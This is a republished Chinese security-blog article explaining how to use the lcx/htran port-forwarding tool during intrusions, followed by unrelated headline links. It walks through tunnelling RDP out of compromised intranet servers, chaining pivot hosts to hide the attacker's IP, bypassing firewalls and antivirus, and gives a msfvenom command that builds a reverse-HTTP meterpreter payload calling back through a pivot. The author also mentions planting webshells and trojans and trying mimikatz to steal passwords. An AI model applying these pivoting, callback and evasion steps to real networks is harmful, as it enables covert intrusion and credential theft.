Lcx的多種用法:3個功能+9個參數,你會怎麼玩?
*原創作者:ForWhat,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載
前言
記得剛開始接觸黑客技術的時候是
2014
年,那時候
struts2
漏洞利用工具正流行,當時也下載了一個玩玩,上傳了很多的菜刀木馬,不過這時候就有個問題:無法連接到被控制計算機的
3389
。
百度一下,原來對面的伺服器是在內網中,沒有做映射是連接不到的,但是可以藉助一個工具進行埠轉發來實現連接處於內網的3389伺服器,原文鏈接(百度搜索lcx第一條出現的):
http://sec.chinabyte.com/225/8848725.shtml
隨著時間的推移,對於這個工具的認識也在不斷加深中,現在我來分享一下。
第一次寫文章,有些錯誤歡迎大牛指正,中間會有些感(fei)悟(hua)不想看的可以直接看進階篇,高級篇或者總結。
關於
那篇文章大概意思是說連接內網的
3389
需要
4
步:
1
:確定被控制計算機的內網
ip
2
:被控制的計算機執行
」lcx -slave
你的計算機
ip 51
被控制計算機的
ip 3389」
3
:本機執行
」lcx -listen 51 10000」
4
:用
mstsc
連接
「127.0.0.1:10000」
看完這篇文章
lcx
給我的第一印象就是用來連接內網伺服器的
3389
,不過其實這只是冰山一角。
正文
基礎篇
連接
隨著對網路的認識不斷深入我發現上面那篇文章其實有些地方可以改進,原文的意思就是如何連接處於內網中被控制的計算機,所以可以用以下步驟實現:
前提
:
你的計算機處於
公網
,
被控制的計算機
能訪問外網
1
:本機執行
」lcx –listen 40050 10000」
2
:被控制的計算機執行
」lcx -slave
你的
ip
埠
127.0.0.1 3389」
3
:用
mstsc
連接
「127.0.0.1:10000」
有些新手可能會好奇為啥
slave
的第三個參數是
127.0.0.1
這裡先看下
lcx
的使用幫助:
======================== HUC Packet TransmitTool V1.00 =======================
=========== Code by lion & bkbll, Welcometo [url]
http://www.cnhonker.com
[/url] ==========
[Usage of Packet Transmit:]
lcx-
[option:]
-listen
-tran
-slave
Lcx
有兩大功能,一個是埠轉發
(listen
和
slave
成對使用
)
,另一個是埠映射
(tran)
。
埠轉發:
Lcx -Listen <
監聽
slave
請求的埠
(
對應
slave
的第二個參數
)> <
等待連接的埠
>
Lcx -slave <
你的
ip> <
監聽埠
(
對應
listen
的第一個參數
)> <
目標
ip> <
目標埠
>
所以既然我們只需要連接那台伺服器,我們只需要設置目標
ip
參數為
127.0.0.1
就好了
(127.0.0.1 Localhost
即本機
)
因為別忘了
slave
是在對面伺服器執行的。
當然了這裡補充一點目標埠號是可以換的比如
3306
這樣你就可以連接對面的
MySQL
資料庫了。有些人肯定要問了如果把這個
127.0.0.1
換成其他的
ip
會怎麼樣,如果你嘗試過了那麼恭喜你發現了新功能,你可以訪問更多的
3389
。
1
、本機執行
lcx -listen 40050 10000
2
、被控制伺服器執行
lcx -slave 1.1.1.1 40050 10.10.0.3 3389
3
、連接成功之後中間就出現了一條通道,可以互相傳輸數據
4
、我們打開
mstsc
輸入
127.0.0.1:10000
Ok
,這樣我們就能訪問內網的其他機子了,理論上來說被控制的伺服器能訪問到的我們都能訪問,其實就是以被攻擊的伺服器做跳板。
擴展一點講,還記得
listen
的參數么?
第一個是監聽
slave
請求的埠,另一個監聽埠,這個監聽埠我們可以訪問,當然別人也可以訪問
(
一般用來共享
)
。
在
1.1.1.1
做好監聽並且對面執行
slave
且成功的話
1.1.1.2
和
1.1.1.3
就可以用
mstsc
連接
1.1.1.1:10000
來訪問到對面
10.10.0.3
的
3389
了
埠映射:
Lcx -tran <等待連接的埠> <目標ip> <目標埠>
上面的埠轉發中我們的前提是在公網中,但是大部分情況下我們的電腦都是接著路由器的所以我們需要設置映射,當然了是在路由器上設置,我拿我的路由器做下演示:
不同人的路由器上的顯示可能不一樣,也可能是埠映射或者NAT。
總之看到類似的就差不多了,不過有些路由器可能沒有外部埠和內部埠之分,這樣的都是等埠映射,類似於Lcx -tran中 <等待連接的埠>和<目標埠一樣>,上面的是我的路由器。
關於路由器映射的就畫一張圖就能解決:
1
、
192.168.0.10
監聽
40000
埠
2
、對面的伺服器執行
slave
穿過防火牆經過
internet
訪問到路由器的
40050
埠,然後路由器根據規則將
40050
的數據映射到內網
192.168.0.10
的
40000
上,這樣連接就建立成功了
3
、連接
192.168.0.10:50000
這樣就能訪問到對面10.10.0.3的3389 不太理解的朋友可以參照圖1 2 3 4
Lcx -tran 1920 127.0.0.1 21
這樣我訪問本機的1920埠就能訪問到本機的ftp了,當然把127.0.0.1換成其他的ip都可以。
進階篇
隱藏
有些朋友可能會說基礎篇中
tran
就出現了一次,不過在這裡會出現四次
ok
,進入正題,一般來說我們進行滲透的時候都需要注意自身的安全,最基礎的保護就是隱藏自己的
ip
。
說到隱藏
ip
許多朋友會想到用代理或者
vpn
,這裡呢我們就說用
lcx
,當然會涉及到代理伺服器,看過基礎篇的朋友的應該可以直接看懂下面的圖。
前提
:
你擁有一台
公網
的伺服器,或者有網關許可權的內網機器
(
不知道說的對不對總之就是可以設置埠映射,讓外網可以直接訪問到內網的機器
)
,你需要連接的是一台
公網
機器
一般來說用
Tran
來隱藏訪問公網機器或者有網關許可權的內網機器
1
、如果你擁有公網機器
1、
被控制的伺服器運行
tran 50000 3.3.3.3 3389
2、我們連接
2.2.2.2:50000
這樣我們就能連接到
3.3.3.3
的
3389
了,此時我們打開
cmd
窗口運行
netstat –an | find 「3389」
會驚奇的發現
TCP
3.3.3.3:3389
2.2.2.2:xxxxx
ESTABLISHED
連接本機
3389
埠的是
2.2.2.2
這樣對面記錄到的連接信息都是
2.2.2.2
的,除非對面拿下
2.2.2.2
才能看到是誰連接了
3.3.3.3
2
、如果你擁有取得網關許可權的內網機器
比剛剛多的就是一個內網出口需要做個映射,就像前面給自己的路由器上面做映射一樣,這裡要注意了一般來說內網的環境都是挺複雜的所以一般來說想實現上面的話比較困難,推薦用公網機器做跳板,當然了大牛自然有方法拿到網關許可權。
通常情況下我們需要連接內網中的機器,也就是需要在被控制的機器上運行
slave
,那怎麼隱藏呢,可能有些小夥伴已經想到了,參照前面的圖
5
可以看出我們只需在跳板上執行
listen
之後連接就好了。
當然了如果跳板在內網同上設置映射。還有
內網機器能訪問外網
。
這樣對面看到的連接請求都是來自
2.2.2.2
的。
然後展示一張比較完整的圖。
我們拿到了對面一台內網的機子,這裡我是在對面的伺服器上開了
socks
代理或者
vpn
然後我們擁有兩台有網關許可權的跳板。最終結果是對面你的記錄都來自
3.3.3.3
,可事實上飛的老遠了
……
先做好幾個映射,一個是
3.3.3.3
上面的
50000
埠
映射到
172.25.0.2
的
30000
埠
還有個是
2.2.2.2
上面做兩個映射
40000
埠映射到
172.24.0.2
的
40050
埠
,
65532
埠映射到
172.24.0.2
的
50000
埠
1、
在
172.25.0.2
上執行
lcx –tran 30000 2.2.2.2 40000
2、
在
172.24.0.2
上執行
lcx –listen 40050 50000
3、
在
10.10.0.2
上執行
lcx –slave 3.3.3.3 50000 127.0.0.1 1080
4、
最後我們連接
2.2.2.2:65532
看起來似乎有點複雜,講下流程
:
在執行第三步的時候
10.10.0.2
發起了
slave
請求先穿過自己的防火牆訪問到
3.3.3.3
的
50000
埠,接著
3.3.3.3
把數據映射到內網
172.25.0.2
的
30000
埠上。
因為
172.25.0.2
運行了
tran 30000 2.2.2.2 40000
所以
172.25.0.2
會把數據映射到
2.2.2.2
的
40000
埠上,先穿過自己的防火牆到達
2.2.2.2
的
40000
埠,最後
2.2.2.2
把
40000
埠的數據映射到
172.24.0.2
的
40050
埠,至此連接成功。
然後我們的
192.168.0.10
經過各種
proxy
、
vpn
、
tor
什麼的連接
2.2.2.2
的
65532
埠就可以連接到
172.24.0.2
的
50000
埠,最後到達
10.10.0.2
的
1080
埠。
我已經放棄追查了。
能看完這麼繞的話先感謝下,然後你認為這就完了?
高級篇
突破
在內網滲透的過程中會遇到各種環境,那lcx又會怎樣發揮呢?
這裡先講一下我對正向連接和反向連接的理解:其實沒有所謂的正向和反向,只有誰連接誰罷了。
A
→
B
對於我們來說我們正向連接了
B
,但是在
B
看來我們是反向連接了它同理
B
→
A
在對面看來就是
B
正向連接了
A
。理解了這一點看下面的內容可能會比較方便。
假設
1
:
1、
你獲得了一台
DMZ
區域的伺服器
(
外網
ip 2.2.2.2
內網
ip 10.10.0.2)
,可以這麼理解:那台伺服器所有開放的埠我們都能直接連接,當然了我們可以直接連接
3389
上去
2、
這台伺服器不能直接訪問外網,你也沒有拿下出口點。
3、
對面的內網沒有一台伺服器能直接訪問外網
在上面的情況中我們怎樣才能讓
10.10.0.2
上網呢,當然了如果這台伺服器能連接外網的話,你就可以讓對面所有的內網機器都能上網。聯繫前面講的,可能有些朋友已經想到了。
先補充下
192.168.0.10
開了代理伺服器,然後有些朋友注意到了這個
slave
是在本機上執行的,為什麼要這麼執行,前面的假設中講到了這個
10.10.0.2
是不能直接訪問外網的,不過可以開埠而且別人都可以連接,可能受到以前的影響,認為
slave
都是在對面執行的。
其實不然,有些特殊情況是可以反過來用的:對面開監聽我們執行
slave
,在對面我們看來是反向連接了,但是在我們看來我們是去正向連接的
(
就像你直接訪問對面的
3389)
,防火牆也不會攔截,這樣這可以連接成功,然後對面使用代理工具連接
10.10.0.2
的
1080
埠就可以訪問外網了。
當然了也可以在
10.10.0.2
上開個代理伺服器然後使用二級代理功能。不過用不用都無所謂反正對面只需要訪問
10.10.0.2:1080
就可以訪問到外面的世界了。
假設
2
:
1、
你拿下了兩台內網伺服器
A
和
B
2、
伺服器
B
不能訪問任何機器
(
自己的話當然可以了
)
,只能讓別人訪問
遇到這種情況比較好處理,只需參考上面一個假設就能上網了,
B
開
listen
,
A
執行
slave
這樣一來所有的請求
ip
都是
127.0.0.1
。
再說一個實例:
有一次滲透中遇到了一個比較蛋疼的情況,有一台伺服器我
3389
上去了但是上面有一個防火牆軟體,有個特性:允許連接內網的請求,不能直接訪問外網。
我的目的是抓密碼。然後我上傳了
/bind_tcp
和
_bind_tcp
,/reverse_tcp和_reverse_tcp都被殺了,然後上傳
mimikatz2.1
也被殺了(wce getpass…),然後無奈試了下
http
居然沒有被殺,但是
http
和
https
只有
reverse
沒有
bind。
所以這種情況就可以使用一個映射來實現,拿一台能訪問外網的內網伺服器
(10.10.0.2)
做個映射
(lcx –tran 50000 2.2.2.2 40000)
,然後用
msfvenom
生成一個攻擊荷載
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=10.10.0.2 LPORT=50000 -f exe > temp.exe
注意
meterpreter
後面是」
_
「這樣可以少傳輸很多數據避免
bug
,具體的
「/」
和
「_」
的區別參照書籍。這樣就可以繞過對面的防火牆了
(
偷懶不畫圖了
)
。
有些殺軟有個特性會根據網路連接來攔截,只要是連接內網的就不會攔截,我之前種過一個木馬,只不過遠控是放在對面內網的一台伺服器上面的,所以木馬的連接
ip
是一個內網
ip
然後就能直接打開了木馬沒有做任何免殺就繞過了兩個殺軟。
當然了如果你想讓木馬連接到你的電腦只需要把那個遠控關了執行個映射就好了。這樣就能上線到你的電腦上了。
聯想一下用這樣的方法也可以讓被控制的人查不到控制者的真實
ip
。把連接
ip
改為某個公網
ip
然後做個映射就好了。這樣被控制的計算機上的
ip
顯示的都是公網的
(
偷懶還是不畫圖了
)
。
總結
Lcx
可以用來滲透內網,也可以用來隱藏自己,還可以讓不能訪問外網的伺服器訪問外網,甚至可以用來繞過某些防火牆
(
殺軟
)
。
後記
1、
感謝能堅持從頭看到尾的讀者。
2、 希望剛入門的朋友可以多參照這篇文章使用lcx來進行內網滲透。
3、 在這要為這個東西正名,其全名是Socket data transporttool,而根據代碼注釋中[bkbll@mobile socket]$ gcc -o trtool trtool.c這一句,可以看到其原來的名字應該是trtool,而且是紅盟的前輩bkbll所寫。
所謂的lcx.exe其實是lcx根據lion的代碼所修改編譯過的htran,所以這個工具其實不應該叫lcx,不過為了配合大家的習慣這麼叫而已,可以看作是簡化版本吧。
4、 後記第三條最後一個逗號之前的所有內容來自互聯網。
5、 關於lcx的映射功能,windows自帶的netsh也可以做到,但是需要管理員許可權,有個優點重啟之後還存在。相關命令(管理員許可權):
1
:
查看埠映射情況
netsh interface portproxy show v4tov4
2
:添加一個埠映射
netsh interface portproxy add v4tov4listenport=40050 connectaddress=192.168.1.10 connectport=50000
3
:刪除一個埠映射
netshinterface portproxy delete v4tov4 40050(
監聽埠號
)
6、
高級篇講的似乎不高級但是希望讀者可以多思考。
7、關於圖片中的英文,由於軟體的問題,用中文有些問題所以用1級英語表達了一下……
8、寫在最後可以讓直奔評論區的人可以看到,很多人肯定會說在內網開個代理或者
VPN
,然後轉發出來不就好了,對於這樣的人我不想多說。
9、再次感謝能堅持從頭看到尾的讀者。
有興趣的同學可以聯繫作者深入交流,
號
:351390754
*原創作者:ForWhat,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載
![](https://pic.pimg.tw/zzuyanan/1482887990-2595557020.jpg)
※JavaScript的注入引出技術詐騙
※美國DHS發布《「灰熊草原」網路攻擊活動深入分析報告》
※Cobalt Strike之DNS Beacon使用記錄
※伊朗黑客對中東發起名為Magic Hound的網路間諜行為
TAG:FreeBuf |
※iPhone電量只剩8%,關這幾個功能,還能用多幾個小時!
※扒出一個超重量級的Excel功能,99.99%的人都沒用過!
※ios 11,這個功能我們等了10年!
※iPhone手機關掉這幾個功能,1個月至少省1個G流量!
※這10個iPhone最煩人的功能,90%的人都想關了它!
※iPhone丟了,真正有用的是這5個功能!
※iPhone 8不會有這個功能,別等了!
※99%MIUI9的用戶都不知道這個小功能,米粉:特別的好玩
※三星GalaxyS8的16個隱藏功能,進來看看,總有一個你不知道的
※iOS最煩人的10個功能,第8個必須關閉,不為什麼,沒理由!
※這10個iPhone最煩人的功能,90%的人不會關
※10款100 元以下的 iPhone 實用小配件,要娛樂有娛樂,要功能有功能,哪一個你最喜歡?
※iOS11來了,9個大家最愛用的功能
※通過這個功能,國產手機讓6000塊的iPhone都汗顏
※用了一周,我最喜歡Galaxy S8和S8+的五個功能
※iPhone竟然還有這14個隱秘功能,全都會的人不到1%
※這10個iPhone最煩人的功能,90%的南京人都想關了它!
※50個Excel逆天功能,一秒變「表哥」
※喜歡鎚子手機的99個理由:01-09,這些也許只屬於 Smartisan 的貼心功能